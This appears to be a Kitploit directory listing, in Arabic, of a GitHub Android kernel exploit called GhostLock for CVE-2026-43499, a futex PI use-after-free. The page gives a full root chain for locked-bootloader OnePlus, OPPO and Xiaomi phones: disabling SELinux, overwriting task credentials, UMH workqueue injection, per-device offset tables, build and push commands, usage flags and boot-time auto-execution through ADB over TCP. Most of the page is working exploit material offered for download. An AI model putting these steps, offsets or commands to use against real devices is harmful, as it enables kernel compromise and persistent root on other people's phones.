Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ghostlock-k419-adapter — محوّل GhostLock (CVE-2026-43499) لنواة أندرويد 4.19.152-perf+ | Kitploit
أدوات/GitHubGitHub/xiaobailovesstirring/ghostlock-k419-adapter
أمان أندرويدتصعيد الامتيازاتأطر الاستغلالالاستغلالما بعد الاستغلالاختبار الاختراقأمن الجوالتطوير الحمولاتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubxiaobailovesstirring/ghostlock-k419-adapter

ghostlock-k419-adapter

محوّل GhostLock (CVE-2026-43499) لنواة أندرويد 4.19.152-perf+

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

GhostLock — كسر حماية محمل الإقلاع المقفل لأجهزة OnePlus

استغلال نواة (kernel exploit) لأجهزة OnePlus/OPPO/realme ذات محمل إقلاع مقفل. يحقق تثبيت root + KernelSU دون فتح قفل محمل الإقلاع أو تعديل صورة الإقلاع. كشف تلقائي لإصدار النواة في وقت التشغيل مع جدول إزاحات متعدد الأجهزة.

GhostLock يعمل على OnePlus Ace 6T مع KernelSU (LKM، وضع Jailbreak)

الثغرة

CVE-2026-43499 — Futex PI (توريث الأولوية) استخدام بعد التحرير (Use-After-Free)

يؤثر على نواة لينكس 2.6.39 ~ 7.1. تم إصلاحه في الفرع الرئيسي (mainline) 7.1 (commit 3bfdc63936dd). لا يزال Android GKI 6.12.x عرضة للخطر.

ينسخ استدعاء النظام pselect6 بيانات fd_set إلى مكدس النواة. عند دمجه مع آلية انتظار futex PI، يمكن استعادة إطار مكدس مُحرر كبنية rt_mutex_waiter. ثم تكتب إعادة توازن شجرة rb أثناء اجتياز سلسلة PI قيمًا مُتحكمًا بها إلى عناوين نواة عشوائية.

الأجهزة المدعومة

تم التحقق منها

إزاحات مستخرجة (بانتظار اختبار الجهاز)

الجهازSoCالنواةملاحظات
OnePlus 15T (PLZ110)SM88456.12.38-...-ab14552068نفس نواة Ace 6T. تم التحقق عبر QEMU بفرق SP=-64.

غير ممكن (تخطيط المكدس غير متوافق)

يعمل تراكب pselect على المكدس فقط عندما يقع rt_mutex_waiter المُحرر داخل المنطقة القابلة للتحكم من المستخدم في مخزن stack_fds. يُحدد مكان وقوع الويتر بواسطة مخرجات المترجم (PGO + LTO)، وليس إصدار النواة. راجع تخطيط المكدس للتفاصيل.

تدفق الاستغلال

مساران للوصول إلى root، يتم اختيارهما تلقائيًا بناءً على قدرات الجهاز:

المسار A: جذر UMH (مُفضّل، أجهزة C ashmem)

يتطلب off_ashmem_misc_fops != 0 (C ashmem مع miscdevice ثابت في BSS).

root@kitploit:~
PI write (mode=4)  →  redirect miscdevice fops to fake fops (via W0 pi_tree)
                      configfs r/w established
                   →  pipe physrw (1-byte precise kernel r/w)
                   →  SELinux enforcing = 0 (single byte, no policycap corruption)
                   →  UMH: inject work_struct into system_unbound_wq
                      kernel executes /data/local/tmp/a/e --umh as UID 0
                   →  root script → ksud late-load → KSU installed

المزايا على المسار B:

  • كتابة SELinux ببايت واحد — لا تُفسد selinux_state.policycap (يصلح مشاكل الشبكة على OnePlus 13)
  • بدون perf_event_open — يعمل تحت قيود seccomp
  • بدون تصحيح بيانات الاعتماد — يتجنب تعديل task_struct الحية

متاح حاليًا على: OnePlus 13 (kernel 6.6، C ashmem). غير متاح على أجهزة Rust ashmem (6.12 GKI) — يُخصص miscdevice في الكومة (heap)، والعنوان غير قابل للتنبؤ وقت الترجمة.

المسار B: كتابة PI المباشرة (احتياطي، جميع الأجهزة)

يُستخدم عندما تكون إزاحات UMH أو misc_fops الخاصة بـ C ashmem غير متاحة.

root@kitploit:~
Write 1 (mode=1)  →  SELinux enforcing = 0
                      (low byte of kernel ptr = 0x00, 8-byte write)

Write 2 (mode=2)  →  task->cred = init_cred
                      (uid=0, all capabilities)

Root shell         →  ksud late-load (KernelSU LKM)
                   →  su -c load_policy (fix SELinux policycap)
                   →  dynamic manager registration

وضع التمهيد الذاتي (الهاتف بمفرده)

root@kitploit:~
App (seccomp)  →  Write 1 (no perf needed)
               →  mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
               →  adb shell: full exploit (perf works, no seccomp)
               →  root → KSU → network fix

الإقلاع التلقائي (عبر تكامل ReSukiSU)

root@kitploit:~
BOOT_COMPLETED → BootCompletedReceiver
  ├─ su available → skip (soft reboot / already rooted)
  └─ no root → GhostlockService → setsid exploit --bootstrap

جدوى تخطيط المكدس

مع NFDS=320، تخصص دالة النواة core_sys_select مخزنًا بحجم 256 بايت باسم stack_fds:

root@kitploit:~
stack_fds:  0    5    10   14 | 15   20   25   29
            ├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
            ◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►

يكتب الاستغلال حقول الويتر المزيفة (task, lock) في خرائط البت المدخلة لـ fd_set. لكي يعمل هذا، يجب أن يقع حقلا task وlock الخاصان بالويتر في المنطقة القابلة للتحكم (الكلمات 0-14).

root@kitploit:~
Ace 6T ✅ (waiter at word 2):
  ░░████████████████░░│░░░░░░░░░░░░░░░░░░
    ▲waiter      t  l │
    task/lock controllable

RMX5070 ❌ (waiter at word 13):
  ░░░░░░░░░░░░░████│██████████████░░░░░░
                 ▲  │    t     l
               waiter  task/lock ZEROED

قاعدة الجدوى: يجب أن تكون كلمة الويتر + 11 (إزاحة lock في rt_waiter_node) ≤ 14. أقصى كلمة ويتر مجدية هي 3.

يُحدد موضع الويتر بواسطة تخطيط إطار المكدس في المترجم (ملفات تحسين PGO + LTO + BOLT)، والذي يختلف حسب فرع SoC. قد يكون لإصدار النواة نفسه تخطيطات مختلفة على SoCs مختلفة.

kernel_phys_load

تمر جميع عمليات الكتابة إلى النواة عبر اسم مستعار للخريطة الخطية للصورة:

root@kitploit:~
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)

يختار محمل الإقلاع kernel_phys_load، لذلك يختلف حسب SoC وليس موجودًا في boot.img أو DT. حقل خاص بكل جهاز في struct kernel_offsets؛ 0 = استخدام الافتراضي في target.h.

SoCkernel_phys_load
SM8845 (Ace 6T, 15T)0xa8000000
SM8750 (OnePlus 13, OPPO Pad 4 Pro)0xa8000000
SM8850 (OnePlus 15, Xiaomi 17)0xc7800000

القيمة الخاطئة تفشل بصمت — فلا تزال الكتابة تصل إلى ذاكرة RAM المعينة، لذلك لا يحدث انهيار ولا تأثير. لا تخلط بينها وبين مشكلة PSELECT_SHIFT. اقرأها من جهاز مخترق (rooted) من نفس الطراز (يبدأ Kernel code عند _stext؛ ويكون _text أقل بـ 0x10000):

root@kitploit:~
su -c 'grep -i "Kernel code" /proc/iomem'   # c7810000-... -> 0xc7800000

PSELECT_SHIFT

تضع النوى المختلفة الويتر في مواضع مختلفة داخل المنطقة القابلة للتحكم. استخدم PSELECT_SHIFT للضبط:

root@kitploit:~
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e

# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e

# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e

كلمة الويتر من check_feasibility.py غير موثوقة: حساب الإطارات لديه صحيح، لكن إزاحات البنى التي يستنتجها من تخزينات الصفر ليست كذلك (على OnePlus 15 يعطي كلمة 3؛ بينما القياس الفعلي هو كلمة 2). الإزاحة الخاطئة تكلف انهيار نواة (kernel panic) لكل تخمين، لذا قِسها على جهاز مخترق بدلاً من ذلك:

root@kitploit:~
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
#   PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2

البناء

root@kitploit:~
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  -O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
  src/core/main.c src/core/util.c src/core/slide.c \
  src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
  src/core/miniadb.c src/core/umh_root.c \
  -o ghostlock -fPIE -pie -pthread

المتطلبات الأساسية

ksud (مطلوب لتثبيت KSU)

يوفر GhostLock صلاحيات root فقط. يعتمد تثبيت KernelSU على ksud — وهو ملف ثنائي يحتوي على وحدات kernelsu.ko مدمجة لكل إصدار KMI. يجد سكربت الجذر ksud على الجهاز ويستدعي ksud late-load --kmi android16-6.12.

الطريقة

بدون ksud، يحقق الاستغلال root (uid=0) لكن لن يتم تثبيت KSU ولن يستمر su.

الإعداد (مرة واحدة)

root@kitploit:~
# Enable ADB TCP (use any port)
adb tcpip 5555

# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"

بعد أول عملية اختراق ناجحة، يتم تعيين persist.adb.tcp.port عبر resetprop — وتكون عمليات الإقلاع اللاحقة تلقائية بالكامل.

الاستخدام

root@kitploit:~
/data/local/tmp/a/e                        # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap            # Phone standalone (app context)
/data/local/tmp/a/e --write1               # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e       # Override stack layout shift

مهم: شغّل خلال 30 ثانية من الإقلاع للحصول على أفضل موثوقية لتوقيت KernelSnitch.

إضافة أجهزة / إصدارات نواة جديدة

يلزم boot.img فقط — دون الحاجة إلى root أو وصول إلى الجهاز.

استخراج الإزاحات من boot.img

root@kitploit:~
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Global symbols (kallsyms)
python tools/extract_target.py    # 28 offsets, auto-validated

# 3. Struct fields (BTF)
python tools/extract_btf.py kernel  # 57 offsets, auto-validated

# 4. Add to offsets.h, rebuild

التغطية: 103/103 إزاحة من boot.img

التكيف مع الأجهزة غير OnePlus

الاستغلال الأساسي مستقل عن الجهاز. قد يتطلب التكيف:

  • اختلاف VA_BITS (48 مقابل 39) → حدّث تخطيط الذاكرة في target.h
  • اختلاف kernel_phys_load → اقرأ من /proc/iomem أو استخدم متغير البيئة KPHYS=
  • اختلاف معاملات التوقيت → اضبط common.h
  • اختلاف تنفيذ ashmem (C مقابل Rust) → C ashmem يفعّل مسار UMH؛ بينما يتراجع Rust ashmem إلى W1+W2
  • اختلاف PSELECT_SHIFT → حدّده عبر اختبار QEMU kprobe
  • اختلاف إزاحات البنى (6.6 مقابل 6.12) → استخدم STRUCT_OFFSETS_6_6 أو STRUCT_OFFSETS_6_12 في إدخال الجهاز

متطلبات جذر UMH

يتطلب مسار الجذر UMH (call_usermodehelper):

  • off_system_unbound_wq و off_call_usermodehelper_exec_work من kallsyms
  • off_ashmem_misc_fops = ashmem_misc + 0x10 (خاص بـ C ashmem فقط، miscdevice.fops في BSS)
  • Rust ashmem (GKI 6.12) يخصص miscdevice في الكومة (heap) → العنوان غير قابل للتنبؤ → UMH غير متاح

الملفات

الترخيص

لأغراض البحث الأمني المُصرح به والأغراض التعليمية فقط.

تنزيل الأداة
الجهازSoCالنواةالحالة
OnePlus Ace 6T (PLR110)SM88456.12.38-...-ab14275539يعمل
OnePlus Ace 6T (PLR110)SM88456.12.38-...-ab14552068يعمل
OnePlus 15 (CPH2749)SM88506.12.23-...-ab14541642يعمل
Xiaomi 17 (pudding)SM88506.12.23-...-abogki463945075يعمل
Xiaomi 17 (pudding)SM88506.12.69-...-abogki514973465يعمل (تحديث أغسطس 2026)
OnePlus 13 (IN2060)SM87506.6.89-...-abogki446052083يعمل (PSELECT_SHIFT=-2)
OPPO Pad 4 ProSM87506.6.89-...-ab14358676يعمل (PSELECT_SHIFT=-2)
الجهازSoCالنواةالسبب
OPPO Find X9 UltraSM87506.12.58-android16-6PGO يزيل إطار do_futex → فرق SP=+32، كلمة الويتر=14. لا توجد إزاحة آمنة.
OPPO Find X7—6.1.1576.1 GKI: الويتر عند الكلمة 13 (جميع أجهزة OPLUS/GKI ذات 6.1)
realme RMX5070SM66506.1.1416.1 GKI: الويتر عند الكلمة 13
realme RMX3852SM86356.1.141نفس فرع 6.1 الخاص بـ RMX5070
OnePlus 13R / Ace 5SM86506.1.xنفس فرع 6.1
OnePlus 12SM86506.1.1416.1 GKI: do_futex مضمّن عبر PGO، كلمة الويتر=13/19
OPPO Pad 5 (OPD2502)MT68786.1.134نفس فرع 6.1
OPPO PKW110—5.15.180إطار do_futex 0x140 (4.5x الطبيعي) → كلمة الويتر=-29، لا يمكن الوصول إليها
Motorola Edge 60 FusionMT68786.1.1456.1 GKI: الويتر عند الكلمة 13 (غير OPLUS، نفس النتيجة)
iQOO Z9 5G—5.15.178إطار do_futex كبير جدًا، لا يمكن الوصول إلى الويتر. ليس جهاز OPLUS (vivo).
الخطوات
ReSukiSU APK (موصى به)ثبّت ReSukiSU أو هذا الفورك. يتضمن الإصدار الرسمي libksud.so.
إصدار CIحمّل ksud-aarch64-linux-android.zip من إصدارات ReSukiSU CI
المصدرالعددالطريقة
kallsyms (رموز عامة)28extract_target.py
BTF (حقول البنى)57extract_btf.py
مشتقة (نفس البنية، استخدام مختلف)9تلقائية
ثوابت (قيم ثابتة)12لا حاجة للاستخراج
الملفالوصف
src/core/main.cنقطة دخول الاستغلال، الكتابة 1/2، مسار UMH، وضع التمهيد الذاتي، سكربت الجذر
src/core/fops.cمسار pselect، آلية كتابة PI، مرحلة CFI
src/core/util.cرش الكومة (heap spray)، kernelsnitch، تصريف slab، إعداد الحمولة
src/core/pipe_physrw.cقراءة/كتابة الذاكرة الفعلية عبر مخازن الأنابيب (يرقّي قراءة/كتابة configfs)
src/core/umh_root.cجذر UMH عبر حقن workqueue + معالج --umh
src/core/miniadb.cعميل ADB مصغر (TCP + مصادقة RSA)
src/core/common.hمعاملات التوقيت، وحدات الماكرو
src/core/target.hتخطيط الذاكرة، القيم الافتراضية لحقول البنى (6.12)
src/core/runtime_struct_offsets.hتجاوز حقول البنى حسب الجهاز (6.6 مقابل 6.12)
src/devices/offsets.hيجمع جميع جداول إزاحات الأجهزة + وحدات ماكرو STRUCT_OFFSETS_*
src/devices/<device>/offsets.hإدخالات إزاحات النواة لكل جهاز
src/core/slide.cتسريب عنوان نواة SLIDE
src/core/root.cإعداد قشرة root (تصحيح cred مباشر عبر pipe physrw)
tools/extract_target.pyاستخراج الإزاحات من kallsyms
tools/extract_btf.pyاستخراج إزاحات البنى من BTF
tools/check_feasibility.pyمدقق جدوى تخطيط المكدس